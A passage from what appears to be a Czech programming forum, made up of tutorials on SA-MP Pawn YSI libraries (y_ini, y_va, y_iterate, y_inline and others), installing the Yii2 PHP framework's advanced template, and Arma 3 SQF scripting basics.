Vehicle nebo VMI). Vehicle_IsValid(vehicleid); // Jednoduše zjistí jestliže je vozidlo validní. jménoFce_IsCar(vehicleid); jménoFce_IsTruck(vehicleid); jménoFce_IsVan(vehicleid); jménoFce_IsFire(vehicleid); jménoFce_IsPolice(vehicleid); jménoFce_IsFBI(vehicleid); jménoFce_IsSWAT(vehicleid); jménoFce_IsMilitary(vehicleid); jménoFce_IsWeaponised(vehicleid); //Jakékoliv vozidlo, které může cokoliv "střílet" (započítává se i voda) jménoFce_IsHelicopter(vehicleid); jménoFce_IsBoat(vehicleid); jménoFce_IsPlane(vehicleid); jménoFce_IsBike(vehicleid); jménoFce_IsAmbulance(vehicleid); jménoFce_IsTaxi(vehicleid); jménoFce_IsOnWater(vehicleid) - //Vozidla, která nejsou ve CATEGORY_BOAT, ale mohou na vodu. jménoFce_IsCoastguard(vehicleid); jménoFce_IsTrain(vehicleid); // I včetně vagónů. jménoFce_IsLS(vehicleid); // Specificky pro policie ze LS. jménoFce_IsSF(vehicleid); // jménoFce_IsLV(vehicleid); // jménoFce_IsTank(vehicleid); jménoFce_IsFlowerpot(vehicleid); jménoFce_IsTransport(vehicleid); jménoFce_GetName(vehicleid); // Navrátí jméno modelu v packed řetězci. Použití, určité jasné: YCMD:stop(playerid, params[], help) { if (help) return SendClientMessage(playerid, X11_GREEN, "Zastavit hráče pro kontrolu"); if (!IsPlayerInAnyVehicle(playerid)) return SendClientMessage(playerid, X11_RED, "Nejsi ve vozidle"); if (!Vehicle_IsCar(GetPlayerVehicleID(playerid)) || !Vehicle_IsPolice(GetPlayerVehicleID(playerid))) return SendClientMessage(playerid, X11_RED, "Nejsi v policejním autě"); // Sample code } return 1; } A jaký je rozdíl mezi VMI a Model_/Vehicle_? Jak jsem již psal, je to jaká si vlastní forma y_vehicledata, a mají všechny 3 body: vlastí tag, vždy validní a použití jako index. new VIM:VIM_VehicleID = Vehicle_GetVIM(GetPlayerVehicleID(playerid)); new VIM:VIM_modelID = Model_ToVIM(GetPlayerVehicleID(playerid)); if (!VIM_IsPolice(VIM_modelID)) return ...; Hlavní topic - odkaz Gratuluju, dostali jste se na konec 🥳🥳🥳🥳.
  10. Úvod Yii framework, je PHP framework a stejně jako mnoho dalších frameworku vám má především usnadnit práci a ušetřit čas psaním kódu. První vydání bylo v roce 2008. Nyní je Yii framework již ve verzi dvě. Klade důraz na znovu použitelnost a jednoduchost použití. Je striktně objektově orientovaný a každá komponenta frameworku je nezávislá, konfigurovatelná a rozšířitelná. Vlastnosti Rozdělení aplikační a prezentační logiky na základě MVC architektury. Přístup k databázi pomocí Database Access Objects (DAO) a Active Record Integruje jQuery knihovnu, pro validaci formulářů Jednoduché a bezpečné zpracování formulářů a validace dat Autentizace a autorizace – kontrola přístupu na základě hierarchických rolí Lokalizace (L10N) a internacionalizace (I18N) – překlad textů, formátování čísel a času Zpracování, archivování a filtrace chyb Zabezpečení a odolnost aplikace vůči různým druhům útoků Instalace Instalace vyžaduje, aby jste měli v počítači nebo na serveru nainstalovaný composer. A pak připravení aplikace vyžaduje PHP. A již předem vytvořenou databázi (prázdnou). Instalovat budeme advanced-template, jelikož basic-template nemá už v základu plno výhod a nechci vás o ně připravit. Otevřeme si příkazovou řádku a jdeme na to. Nejprve nainstalujeme plugin, který povoluje spravovat bower a npm závislosti skrze composer, a to příkazem: composer global require "fxp/composer-asset-plugin:~1.1.1" Poté si vytvoříme projekt samotný, příkazem: composer create-project --prefer-dist yiisoft/yii2-app-advanced yii-application Tento příkaz si rozebereme: composer – volání composeru create-project – dáváme vědět, že chceme vytvořit nový projekt --prefer-dist – znamená, že budeme upřesňovat, kde chceme nový projekt vytvořit yiisoft/yii2-app-advanced – název template advanced yii-application – název složky, která se vytvoří ve vašem počítači nebo na serveru s obsahem projektu (můžete libovolně upravit, dle svého) Finalizace Otevřeme si projekt v některém z editoru kódu, například VSC a otevřeme soubor: environments/dev/common/config/main-local.php – kde si nastavíme přístupy k databázi. Nyní musíme projekt z inicializovat, a to uděláme tak, že se v příkazovém řádku přesuneme do rootu nového projektu a pustíme příkaz: php init a zvolíme "Development". Poté pustíme migrace pomocí příkazu: ./yii migrate což nám automaticky vytvoří základní tabulky v databázi. A to je vše! Nyní máte web přístupný pod adresou http(s)://vas_web.cz/frontend/web/ a http(s)://vas_web.cz/backend/web/ – samozřejmě si můžete v Apache/Nginx nebo jen v .htaccess nastavit alias pro cestu, ale to už nechám na vás! Snad vás tento návod bavil tak, jako mě a zase někdy, AHOJ!
  11. Zdravíčko přátelé - pokud hrajete Armu 3 (případně jiné Arma tituly) jistě dobře víte o scriptovacím jazyku SQF, na kterém je hra kompletně postavená. Veškerý funkční content je psán v tomto jazyce a dá se s ním vyčarovat cokoliv si představíte. Pro mě je Arma 3 takový sandbox, ve kterém si vytvářím a realizuje nápady a myšlenky herních typů - engine nabízí kvalitní modely postav, objektů i terénu. Dá se říct, že si v Armě 3 můžete vytvořit svou vlastní hru. BIWiki Veškerou dokumentaci, podklady a zdroje najdete na jednom místě - https://community.bistudio.com Jsou tam rozepsané a popsané veškeré nativní funkce enginu, seznamy objektů, zbraní, vozidel a dalších zdrojů. Lze tam najít kompletní informace pro jakýkoliv druh příkazu, řešení, či návrhu. Bez tohoto se při scriptování v SQF určitě neobejdete. Základy SQF SQF je jednoduchý jazyk. Jakákoliv logika je defakto uložená v proměnné a celý interpreter jen pracuje s těmito proměnnými. Pokročilé vysvětlení zde. Datatypy Každá proměnná v jazyce SQF má vlastní způsob deklarace (a defakto automatické inicializace). Veškeré číselné hodnoty jsou podpultové floaty (tedy desetinná čísla), texty jsou stringové řetězce (a lze je rozebrat na bajty - ve formě číselných hodnot) - tedy cokoliv mezi uvozovkami "text", pole jsou jednoduché soustavy jakýchkoliv proměnných deklarovaný jako [obsah,obsah,obsah] a kód je cokoliv mezi závorkami {code}. Existují ještě speciální typy proměnných, jako například displayNull, controlNull, namespace, configNull, grpNull, locationNull, taskNull, objNull, scriptNull a pár dalších. Deklarace a inicializace probíhají ve stejném kroku a to při přiřazení hodnoty k proměnné, proměnné mohou měnit typy i hodnoty (jedinou výjimku tvoří kód prohnutý funkcí compileFinal - taková proměnná se zabije až se zabitím namespace, ve kterém pracuje - zůstává konstantní - vysvětlíme si později). Codespace SQF kód lze praktikovat takřka kdekoliv v enginu. Jedinou výjimku tvoří config, ve kterém pracujeme s C strukturami pro definice tříd a jejich vlastností. Celý engine hry funguje (a je postavený) na SQF - všechny kampaně, mise, addony a další komunitní obsah, obsahuje více, či méně prvků SQF. Kód se dá psát v Eden editoru (ve spínačích - triggerech), .sqf souborech ve složce mise/kampaně/addonu nebo v debug konzoli. Mnoho cheater řešení dříve užívalo exkluzivně děr v SQF interpreteru pro získání kontroly nad voláním funkcí za běhu - a byli psány celé v SQF. Lokální / globální proměnná SQF chápe lokalitu proměnných základně jen ve dvou bodech scope lokální a globální. Globální proměnná je deklarována s jakýmkoliv názvem, který se neshoduje s názvem nativní funkce, či již jiné deklarované globální proměnné. Lokální proměnná se deklaruje a volá s podtržítkem před názvem, spadá pod scope ve kterém je deklarována: globalniPromenna = 1; //Globální číselná proměnná func_cistaFunkce = //Globální proměnná obsahující kód { _lokalniPromenna = 2; //Spadá pod scope kódu func_cistaFunkce }; Hello World private ["_text"]; //Moderní (volitelná) deklarace lokální proměnné - kód se bez tohoto plně obejde _text = format["Hello world, %1", profileName]; //Vytvoření textu "Hello world, jméno-hráče" hint _text; //Vypsání textu na obrazovku (hint) Struktura kódu Každý příkaz, či operace musí být ve všech případech oddělena středníkem (;). Kód se může psát v jednom řádku (oddělený středníky) nativní funkce mohou být krmeny dvěma způsoby parametrů - před a za funkcí: player setPos [0,0,0]; //Příklad nativní funkce s před-za single parametry (před-odkaz na objekt hráče ; za-pozice hráče XYZ v poli) _stav = linearConversion //Deklarace lokální proměnné s hodnotou z outputu funkce linearConversion, která má jen multi-parametry za sebou v poli [ //Pole 0, //Výchozí bod konverze Z 60, //Výchozí bod konverze Do time, //Progress konverze 0, //Konverzní bod Z 100 //Konverzní bod Do ]; //při time=15 je výsledek 25 Scheduled/unscheduled SQF engine pracuje ve dvou prostředích. To hlavní, ve kterém poběží váš kód většinu času (resp. vy budete většinu času psát kód pro tento environment) a druhý real-time, na který engine počká před vykreslením frame. Při volání funkcí pomocí call se prostředí dědí od volajícího. Pokud ve scheduled prostředí voláme jinou funkci, spustí se také ve scheduled prostředí (a volající čeká na výsledek - neprovádí další logiku). Pokud je funkce volána z unscheduled prostředí, také bude pracovat v unscheduled. Voláním funkce pomocí spawn volanou funkci vždy spustí v scheduled prostředí. Unscheduled prostředí si můžeme vynutit trikem za použití funkce isNil. Scheduled (a k němu vázaný scheduler) environment je rozhraní, ve kterém mohou scripty běžet neustále, ve smyčce, nikdy nekončící, případně i vytěžující. Běží na pozadí vykreslování, engine na ně nečeká, případně je i pozastavuje v momentě slabšího výkonu. Scheduler je systém, který se stará o rozložení dostupného výpočetního výkonu a snaží se rozdat mezi všemi scripty rovným dílem. Může se stát, že váš script poběží jen v jednom frame z deseti, při dobrém výkonu poběží v každém frame. Spouštění scriptů v scheduled environmentu může být několik framů odloženo a při spuštění několika scriptů zároveň se tyto scripty reálně spustí nezávisle na sobě, i s rozdílem několika framů. Scheduled environment je defakto všechno spuštěné ze souboru, pomocí execVM nebo spawn. Unscheduled environment je pro změnu rozhraní, ve kterém engine zpracovává exkluzivně skripty až do konce. Nekonečné smyčky jsou schopné bricknout celou hru a nesmí být v tomto environmentu spouštěné. Také všechny odkládací funkce (sleep, waitUntil) v tomto prostředí nefungují, vyhodí chybu, či jsou ignorovány. Jen v tomto prostředí máte jistotu, že se vaše scripty spustí okamžitě, projdou veškerou logiku za sebou tak jak mají a vše stihnou v jednom frame - scheduler na základě výpočetní náročnosti takového scriptu poté pozastaví, či omezí spuštění jiných skriptů ve scheduled prostředí. Kam psát skripty? Většinou ze začátku vám bude stačit soubor init.sqf ve složce s misí (Dokumenty/Arma 3/missions/). Případně deriváty initPlayerLocal.sqf a initServer.sqf. Existují i další speciální názvy souborů, které engine spouští na základě různých událostí, to už dohledáte na BIWiki. Dalším způsobem psaní scriptů pro mise je přímo v editoru. Stačí hodit kamkoliv spínač (trigger), podmínku mu hodit jen true a do pole Po aktivaci vepsat kód (můžete si ho připravit v editoru jako VS Code). Případně do pole inicializace jednotek. Pro dočasná, či jednorázová spuštění kódu lze využít i debug konzoli, která je vždy dostupná editoru. Případně lze aktivovat i pro finální verzi pomocí atributů mise. Takto spuštěné skripty se nikam neukládají, a jsou spouštěny jen pro aktuální relaci mise. Na závěr Projděte si dokumentaci, experimentujte a tvořte. Pomocí SQF se dají vytvářet nehorázné blbosti a kreace. Vaším nejlepším přítelem je i fakt, že vše publikované pro Armu 3 podléhá open-source licenci, můžete číst všechny skripty ostatních autorů, vykrádat jejich obsah a učit se z nich. Najděte si na workshopu zajímavou misi, či addon - s pomocí programu PBO Manager můžete rozbalit balík, který obsahuje veškeré zdroje, soubory a skripty, který tento addon nese, tento program vám bude i velkým pomocníkem, až budete hledat textury základní hry - můžete si pomocí jej rozbalit i základní soubory hry a čerpat informace z nich (kampaně, objekty, funkce, textury) Úkol pro vás: Prohledejte BIWiki a zkuste si najít další event scripty, se kterými se dá pracovat. Vytvořte misi, ve které máte za úkol ukrást nepřátelské vozidlo - zkuste se držet podobného stylu jako v misích základní hry - využívejte tasky, naučte se s nimi pracovat ve scriptu, relevantní dokumentaci vyhledejte na BIWiki. Naučte se spojit prvky editoru se scripty, využijte spínače pro aktivování scriptovacích funkcí (nativní funkce call nebo spawn).
  12. YSI_Storage\y_ini ***** Prolog: Anketa: Nejdříve si ukážeme jaké funkce mají naše vybrané includy (dini, DOF2, eINI a y_ini), abych ukázal, že není mezi nimi moc velký rozdíl(dokonce, některé nabízejí více možností): /* DINI DOF2 EINI Y_INI */ /* --- */ >>> DOF2_ParseFile(); >>> INI::ParseINI(); >>> INI_ParseFile(); dini_Create(); >>> DOF2_CreateFile(); >>> INI::CreateINI(); >>> INI_Open(); dini_Exists(); >>> DOF2_FileExists(); >>> INI::IsValidHandle(); >>> fexist(); // ! dini_Set(); >>> DOF2_SetString(); >>> INI::WriteString(); >>> INI_WriteString(); dini_IntSet(); >>> DOF2_SetInt(); >>> INI::WriteInteger(); >>> INI_WriteInt(); dini_FloatSet(); >>> DOF2_SetFloat(); >>> INI::WriteFloat(); >>> INI_WriteFloat(); dini_BoolSet(); >>> DOF2_SetBool(); >>> INI::WriteBool(); >>> INI_WriteBool(); dini_Get(); >>> DOF2_GetString(); >>> INI::ReadString(); >>> INI_String(); dini_Int(); >>> DOF2_GetInt(); >>> INI::ReadInteger(); >>> INI_Int(); dini_Float(); >>> DOF2_GetFloat(); >>> INI::ReadFloat(); >>> INI_Float(); dini_Bool(); >>> DOF2_GetBool(); >>> INI::WriteBool(); >>> INI_Bool(); /* --- */ >>> DOF2_SetHex(); >>> INI::WriteHex(); >>> INI_WriteHex(); /* --- */ >>> DOF2_SetBin(); >>> INI::WriteBinary(); >>> INI_WriteBin(); /* --- */ >>> DOF2_SaveFile(); >>> INI::CloseINI(); >>> INI_Close(); /* --- */ >>> DOF2_RemoveFile(); >>> fremove(); /* Asi?*/ >>> fremove(); // ! /* DINI DOF2 EINI Y_INI */ Více o eINI - zde Jediná potíž je, že y_ini má všechny fce pouze načítací ve fci ze ParseFile. Důvodem je hlavně rychlost, protože tímhle způsobem je načítání rychlejší když načítá rovnou celý soubor, či více údajů naráz. (Lze i určité, ale obtížnost spadá do ***). Tak jo začnem. První co asi některé mohlo zarazit je, že y_ini nemá funkce na smazání či zjištění existence souboru. Nicméně, jestliže chceme to zakomponovat, není problém si na to udělat makra: #define INI_Exists fexist #define INI_Remove fremove Když teď na to máme fce tak ukázka jak se zjišťuje existence souboru, otevírají a zavírají: if (INI_Exists("cesta/soubor.txt")) { new INI:soubor = INI_Open("cesta/soubor.txt"); INI_Close(soubor); // ! } Nesmíme zapomenout, že y_ini má vlastní tag na soubory. Ne File: jako mají soubory ale INI: tag. To není tak těžké. Teď si zkusíme do toho souboru vepsat pár údajů, všech možných datových typů: if (INI_Exists("cesta/soubor.txt")) { new INI:soubor = INI_Open("cesta/soubor.txt"); INI_WriteInt(soubor, "myInt", 94515); INI_WriteFloat(soubor, "myFloat", 0.594); INI_WriteHex(soubor, "myHex", 0xFF000000); INI_WriteBool(soubor, "myBool", true); INI_WriteString(soubor, "myString", "Ahoj, tohle je pro string"); INI_Close(soubor); } Pokud jde o načítání, tak jak jsem již psal, y_ini nemá fce na načítání určitých údajů(jako má, ale je to složitější) ale pouze ve volané funkci, kterou můžeme zavolat pomocí INI_ParseFile(). Je ještě jedna funkce na načítání a to INI_Load(). Funkce jsou prakticky stejné, akorát u Load není vícero argumentů ohledně načítání, takže doporučuji raději používat INI_ParseFile(): (A taky hlavně protože jsem zjistil, že Load nemá ani jméno funkce, do které vkládat načítání ale má nějakou vlastní, kterou jsem za boha nezjistil jaká to je ) INI_ParseFile(fname[], remoteFormat[], bool:bFileFirst = false, bool:bExtra = false, extra = 0, bool:bLocal = true, bool:bPassTag = false, bool:bFilter = true, filter[] = "") Tak jo. Má spousty argumentů ale pojďme si je vysvětlit: fname[] = Jaký soubor se má načíst. remoteFormat[] = Z jaké funkce se budou údaje načítat. bFileFirst = Jestliže nejdříve začít načítání souboru a až pak od určitého tagu a nebo při false, proces bude opačný. bExtra = Načíst nějaká speciální data. extra = Jaká speciální data načítat (ve 99 % případů to je playerid) bLocal = Načítat z lokální funkce či globální? bPassTag = Přidát tag k přidání speciálního parametru? NE K JMÉNU FUNKCE. bFilter = Přidat filter na všechny tagy a nebo jen na určitý? filter[] = Přidaný text pro nalézání určitého tagu na načtení. Jestliže jste zmatený, co jaká přesně delá, tak není třeba si dělat obavu. Za sebe můžu říct, že určitě použijete pouze 2 argumenty a to zrovna bExtra a extra pro playerid. Lze použít inline? Ano! A tady přichází ta ukázka, kde šlo poznat, že někdo kód okopíroval z tutoriálu, protože používal následujicí načítání: INI_ParseFile(UserPath(playerid), "LoadUser_%s", .bExtra = true, .extra = playerid); forward LoadUser_data(playerid, name[], value[]); public LoadUser_data(playerid, name[], value[]) { Což by sice fungovalo ale jen pouze, jestliže před vpisování údajů přidal i tag: INI_SetTag(soubor, "data"); Bez tagu, se to nenačte! Takže, přicházím s následujicím: Tagy jsou fajn a užitečné, ale pouze pro rozdělení sekcí údajů a není třeba je používat na načítání určitých údajů. Tím myslím rozdělení, kdy někteří nejdříve načítají registrační údaje jako je jméno, heslo, popřípadě IP a až poté načítají zbytek údajů. Za mě se to zdá zbytečné, a klidně naráz načíst vše, protože se na server stejně nedostane, dokud nezadá správné heslo. Načítat jenom určité bych uznal jen, pokud se načítá skutečně enormně velké množství údajů jako například 100 i víc. No, nevím, hlasujte v anketě, co si o tom myslíte. Tak a jak je to s načítáním samotným. Nic těžkého, stačí si na to zavolat funkci(nesmíse také zapomenout návratovou hodnotu!). Následujicí načítání má pouze 2 argumenty a to jméno klíče co se načítají a do čeho se má načítat: public OnPlayerConnect(playerid) { INI_ParseFile(SouborHrace(playerid), "NacistData", .bExtra = true, .extra = playerid); return 1; } forward NacistData(playerid, name[], value[]); public NacistData(playerid, name[], value[]) { INI_Int("myInt", myInt[playerid]); INI_Float("myFloat", myFloat[playerid]); INI_Hex("myHex", myHex[playerid]); INI_Bool("myBool", myBool[playerid]); INI_String("myString", myString[playerid]); return 1; } Ale jestliže chceme načíst takové hodnoty, do kterých se musí hodnota nastavit/navrátit, můžeme si ve funkci deklarovat proměnnou a pomocí ní načítat vše: #include <YSI_Data\y_playerarray> new PlayerArray:IsVip<MAX_PLAYERS>; forward NacistData(playerid, name[], value[]); public NacistData(playerid, name[], value[]) { new bool:hodnota; INI_Bool("myBool", hodnota); Bit_Set(IsVip, playerid, hodnota); return 1; } Nejlepší ukázka, kde lze dobře využít y_ini je registrace a přihlášení. YSI_Server/y_colours Nebo také YSI_Server\y_colors není nic více než hromada(přesnějí skoro 4000) předdefinovaných barev. Ne jen pro šestnáctková(barva nicku hráče) tak i desitkové nebo i barvy pro gametext. Pro šestnáctkovou před jménem barvy se přidává X11, u desitkové se nemusí nic přidávat stačí jméno a stejně jako u obyčejných gametext se přidává znak ~. Příklady použití: #include <YSI_Server\y_colours> SendClientMessage(playerid, X11_RED, "Tohle celé bude červená zpráva"); SendClientMessage(playerid, X11_RED, "Tohle bude červené "SNOW"tohle bílé"); GameTextForPlayer(playerid, "~X~~H~~H~zluta", 3000, 1); Hlavní topic - odkaz Všechny barvy u y_colors/y_colours:
  13. YSI_Core\y_utils YSI_Coding\y_va + YSI_Coding\y_inline YSI_Data\y_iterate / YSI_Data\y_foreach ***** Tak jo. Tyto 4 includy (plus jeden co je jen alternativa), sice obsahují mnoho dalších zajímavých vymožeností, nicméně, chci tu pouze ukázat to nejzajímavější a to, co s velkou pravděpodobností někdo použije při tvorbě FS/GM. YSI_Core\y_utils A začneme s y_utils. Jak už ang. slovo "utils" naznačuje, jde o nástroje, přesněji o hromadu užitečných funkcí. Většinou takové funkce jste mohli vidět na SA-MP fóře ve topicu "Useful functions": A to je jen ten seznam funkcí, co jsem našel . Kdoví, které tam ještě jsou. Tak zkusíme ty nejzajímavější/nejužitečnější: 1. isnull() pro parametry do příkazů: if (isnull(params)) return ...; 2. StrToUpper() pro změnu všech znaků písmen na velká a StrToLower() pro změnu všech znaků písmen na malá: format(str, sizeof str, "Máš zapnuté/vypnuté načítání? %s", Bit_Get(IsOnLoad, playerid) == true ? StrToUpper("true") : StrToUpper("false")); // Anti CapsLock va_SendClientMessageToAll(-1, "%s %s", ReturnPlayerName(playerid), StrToLower(text)); 3. Random() pro náhodné číslo a RandomFloat() pro náhodné desetinné číslo: Random(min, max); RandomFloat(Float:min, Float:max, dp = 2); Argument dp je ohledně zaokrouhlení výsledné hodnoty. Pro lepší představu kód: printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); printf("%.3f %.3f %.3f %.3f", RandomFloat(1.0, 10.0, 0), RandomFloat(1.0, 10.0, 1), RandomFloat(1.0, 10.0, 2), RandomFloat(1.0, 10.0, 3)); A výsledek: 7.000 4.400 8.460 1.365 1.000 9.300 8.399 8.619 7.000 4.900 3.529 4.157 2.000 7.400 4.309 4.928 1.000 7.000 4.699 3.971 6.000 1.700 8.949 2.434 5.000 2.200 9.359 5.991 4. isnumeric() jestliže je řetězec znaků číslo: if (!isnumeric(inputtext)) return ...; 5. GetIP() vrátí IP hráče(ne pouze v číslech!): va_SendClientMessage(..., "%s", GetIP(playerid)); 6. IS_IN_RANGE jestliže hodnota je v rozmezí a NOT_IN_RAGE jestliže není: if (IS_IN_RANGE(10, 1, 100) == true) return print("Cislo 10 je v rozmezí!"); if (NOT_IN_RANGE(10, 1, 9) == true) return print("Cislo 10 není v rozmezí!"); 7. A nebo několik return ze řetězce hodnot do určitého datového typu: hexstr(string[]); boolstr(string[]); binstr(string[]); A mnohem více... YSI_Coding\y_va Include y_va pro změnu obsahuje možnost si udělat vlastní formátované zprávy, funkce apod. Příklad, běžného formátování zpráv: new string[144 + 1]; format (string, sizeof (string), "Bla bla bla %s %i %d", ReturnPlayerName(playerid), Random(10), Random(100)); SendClientMessage(playerid, -1, string); Další možnosti byly pomocí maker, nebo vzít proměnnou string jako globální proměnnou, nebo pomocí #emit. Nicméně pro obyčejné uživatelé to je velmi složitě. Include y_va nabízí jednodušší způsob, jak si takové funkce udělat. Ukázka použití funkce zpráv ze y_va: va_SendClientMessage(playerid, -1, "Bla bla bla %s %i %d", ReturnPlayerName(playerid), Random(10), Random(100)); A to není všechno. Nejen, že je to jednodušší, ale také rychlejší něž obyčejně či přes marka. Uživatel si může udělat vlastní pomocí va_format a va_start. Ukázka, jak je udělané va_SendClientMessage(): va_SendClientMessage(playerid, colour, const fmat[], {Float, _}:...) { new str[145]; va_format(str, sizeof (str), fmat, va_start<3>); return SendClientMessage(playerid, colour, str); } S tím, že formátování samotné fce je ve va_format a argument va_start<3> zastává pořadí, kdy se začnou přidávat hodnoty za specifikátory. Samozřejmě, nemusíte si takové funkce tvořit. Většina už je předdefinovaná. Seznam: va_print(const fmat[], va_args<>); va_SendPlayerMessageToPlayer(playerid, senderid, const fmat[], va_args<>); va_SendPlayerMessageToAll(senderid, const fmat[], va_args<>); va_SendClientMessage(playerid, colour, const fmat[], va_args<>); va_SendClientMessageToAll(colour, const fmat[], va_args<>); va_GameTextForPlayer(playerid, const fmat[], time, style, va_args<>); va_GameTextForAll(const fmat[], time, style, va_args<>); va_SetTimerEx(const function[], interval, bool:repeating, const fmat[], va_:STATIC_ARGS); va_CreatePlayerTextDraw(playerid, Float:x, Float:y, fmat[], va_args<>); va_TextDrawCreate(Float:x, Float:y, fmat[], va_args<>); va_CallLocalFunction(const function[], const fmat[], va_:STATIC_ARGS); va_CallRemoteFunction(const function[], const fmat[], va_:STATIC_ARGS); YSI_Data\y_foreach / YSI_Data\y_iterate Pokud jde rozdíl mezi foreach a iterate, tak žádný není. Jen foreach je více známé, protože je starší. y_iterare se dělí na dvě možnost použití. A. Lepší práce s cykly včetně s již předdefinovanýma podmínkama (například u cyklu pro hráče se cyklí pouze hráči). B. Udělat si vlastní hodnotu, co se bude cyklit. A. Nejdříve práce s cykly. Normální cyklus všichni asi známe, příklad: for(new i; i<MAX_PLAYERS; i++) { if(IsPlayerConnected(i)) { Pak je tu možnost s novou funkcí, která vrátí nejvyšší id hráče na serveru: for(new i = 0, j = GetPlayerPoolSize(); i <= j; i++) { if(IsPlayerConnected(i)) { A teď ukázka přes foreach: foreach (new i: Player) { Jednoduché že? A obsahuje to i samozřejmě podmínku zda je to hráče a jestliže je online. Jinak používání je úplně stejné jako u obyčejného cyklu: foreach (new i: Player) { if (AdminLevel[i] > 10) { // Sample code } } Slovo "Player" je takzvané iter tag aka typ. Zde ještě je seznam dalších iter tagů, které obsahuje: foreach (new v: Vehicle) foreach (new b: Bot) foreach (new a: Actor) foreach (new c: Character) // Další části knihovny: foreach (new p: Bit(bit_jméno)) foreach (new g: Group(gAdmins)) foreach (new i: Range(10,100)) // Potom několik speciálních například: // Cyklus vrátí každého index v poli které obsahuje 0. foreach (new i : Null(pole)) // Cyklus vrátí každého index v poli které NEobsahuje 0. foreach (new i : NonNull(pole)) // Cyklus půjde pozpátku foreach (new i : Reverse(10)) // Mocniny. 1, 2, 4, 8, 16... foreach (new i: Powers(2)) // 5x náhodná čísla foreach (new i: Random(5)) // Fibonacciho posloupnost foreach (new i: Fib()) // Cyklus skončí jakmile narazí index rovnají se číslu, takže 5 new pole[] = { 1, 2, 3, 4, 5, 6, 7} foreach (new i: Until(6, pole)) // Cyklus vypíše všechny indexy na kterých se nachází číslo 6 new pole[] = { 6, 1, 9, 3, 4, 6, 6} foreach (new i: Filter(6, pole)) B. Teď je další možnost, kdy si lze přidat vlastní iter tag. Zkusíme si například udělat příkaz /admins. Začneme deklarací našeho iteru: // Maximální počet hodnot v iteratoru: #define MAX_ADMINS (10) // Proměnná s tagem Iterator: a maximální počet hodnot v ostrých závorkách: new Iterator:Admins<MAX_ADMINS> Než ale budeme pokračovat, vysvětlení pár funkcí, které y_iterate obsahuje: // Zjistí volnou hodnotu v iteratoru: Iter_Free(Iterator:Name<>); // Jestliže iterator tuhle hodnotu už obsahuje: Iter_Contains(Iterator:Name<>, value); // Přidá do iteratoru danou hodnotu: Iter_Add(Iterator:Name<>, value); // Odebere z iteratoru danou hodnotu: Iter_Remove(Iterator:Name<>, value); // Zjistí počet vložených iteratoru: Iter_Count(Iterator:Name<>); // Pročistí celý iterator od všech hodnot: Iter_Clear(IteratorArray:Name[]<>); // Zjistí velikost iteratoru, // (Jestliže na všechno používáte MAX_něco makro tak není co řešit): Iter_Size(Iterator:Name<>); Teď, jestliže je hráč teda náš admin, musíme ho do našeho iteratoru přidat. Můžeme například poté, co se připojí na server: public OnPlayerConnect(playerid) { LoadPlayerData(playerid); // <-- Udělaná nějaká naše funkce na načítaní údajů hráče if (AdminLevel[playerid] > 0) { if (Iter_Count(Admins) < MAX_ADMINS) Iter_Add(Admins, playerid); else return printf("Něco je špatně. Asi máš moc Adminů v Admintýmu! %i", Iter_Count(Admins)); } return 1; } Samozřejmě, po odpojení ho musíme odebrat, jinak se nám budou stále přidávat další: public OnPlayerDisconnect(playerid, reason) { if (Iter_Contains(Admins, playerid)) Iter_Remove(Admins, playerid); return 1; } A nakonec, jestliže je se vypne FS či server, tak pro jistotu tenhle iterator pročistit. Lze to i po spuštění: public OnFilterScriptExit() { Iter_Clear(Admins); A teď, když náš iterator obsahuje POUZE hráče, co mají adminlevel, můžeme s ním snadno pracovat: YCMD:admins(playerid, o[], help) { if (Iter_Count(Admins) == 0) return SendClientMessage(playerid, X11_RED, "Momentálně není online žádný Admin!"); foreach (new i: Admins) { if (IsPlayerAdmin(i)) va_SendClientMessage(playerid, X11_YELLOW1, "%s [LEVEL %i + RCON]", ReturnPlayerName(i), AdminLevel[i]); else va_SendClientMessage(playerid, X11_YELLOW1, "%s [LEVEL %i]", ReturnPlayerName(i), AdminLevel[i]); } return 1; } YSI_Coding\y_inline Jednouše řečeno, jde o include, kde lze používat vnořené fce, aka funkce ve funkci a velmi často se přitom používá naše kouzelné slovíčko using, a buď inline pro uvnitř a nebo public pro mimo. Takto se VÝBORNĚ hodí na práci s dialogy, protože nikdo nechce ten mega obrovský OnDialogResponse kód. Je opět několik možností, jak tento inlcude používat. Jde i při tom tvořit vlastní funkce, které se budou volat, nicméně, to už spadá do obtížnosti ****, takže to vynechám. Ale kdo by se o to zajímal, tak více informací zde - odkaz My se zaměříme, jak to efektivně využít do našeho GM. Jak jsem již psal, výborně se hodí s y_dialogs, protože můžeme volat otevřený dialog a nemusíme ho cpát do fce OnDialogResponse(). Jednu variantu ukázky jsem tu již převedl a to voláním dialogu mimo fce a to ve Přechod z dini/dcmd/jiné na YSI4 (v části o dialogu) a nebo uvnitř fce a to ve Masivní použití knihovny. Hlavní topic (kdyžtak upraveny na 2020) - odkaz
